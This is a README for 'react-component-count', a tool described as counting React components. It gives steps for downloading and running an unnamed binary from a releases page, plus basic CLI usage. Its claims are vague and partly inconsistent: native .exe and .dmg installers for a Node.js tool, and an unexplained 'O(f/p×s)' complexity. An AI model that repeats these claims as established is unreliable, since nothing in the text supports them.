⚡ react-component-count - Count Your React Components Easily

🚀 Getting Started

Welcome! This guide will help you download and run react-component-count, a tool designed to help you count and analyze React components in your projects. The software is both fast and light on memory, making it a great choice for developers who handle many components.

📦 System Requirements

• Operating System: Windows, macOS, or Linux
• Node.js: Version 12 or higher installed on your system
• Memory: At least 512 MB of RAM
• Storage: A minimum of 100 MB of free disk space

🛠️ Features

• Count the number of components in your React project.
• Analyze memory usage for each component.
• Quick integration with any React setup.
• Supports projects written in JavaScript, TypeScript, and JSX.
• Runs efficiently with O(f/p×s) time complexity.

⚙️ Download & Install

To get started, visit this page to download: Releases Page.

1. Click on the link above. You will see a list of available versions.
2. Choose the latest version that matches your operating system.
3. Click on the corresponding file to download it.

After downloading, follow these steps to run the application:

For Windows:

1. Locate the downloaded .exe file in your Downloads folder.
2. Double-click the file to run it.
3. A console window will appear, where you can enter commands.

For macOS:

1. Open Finder and go to your Downloads folder.
2. Double-click the .dmg file to mount the disk image.
3. Drag the application to your Applications folder.
4. Open the Terminal and run the application from your Applications directory.

For Linux:

1. Open your terminal.
2. Navigate to the directory where you downloaded the file.
3. Give execute permission to the file with the command: chmod +x your-file-name.
4. Run the application with ./your-file-name.

📊 How to Use

Once the application is running, you can start analyzing your React project. Here’s a basic command to count components:

react-component-count path/to/your/react/project

Replace path/to/your/react/project with the actual path to your project folder. The tool will then scan your project and display the number of React components found.

For more specific analysis, you can use additional options:

• --verbose: Provides detailed information on memory usage.
• --json: Outputs results in JSON format for further analysis.

👩‍🏫 Example Command

Here is an example command and what to expect:

react-component-count ~/MyReactApp

This command will analyze the MyReactApp React project located in your home directory. The output will show you the total number of components and other useful information.

📋 Support

If you have questions or need assistance, please check the Issues section on the GitHub Repository. You can find help from the community or report any problems you experience.

💬 Contributing

If you'd like to contribute to react-component-count, your support is welcome! You can fork the repository, make your changes, and submit a pull request. Please ensure your contributions align with the project goals.

🔗 Additional Resources

• GitHub Repository
• Check out the documentation for advanced usage and tips.

Enjoy counting your React components with ease!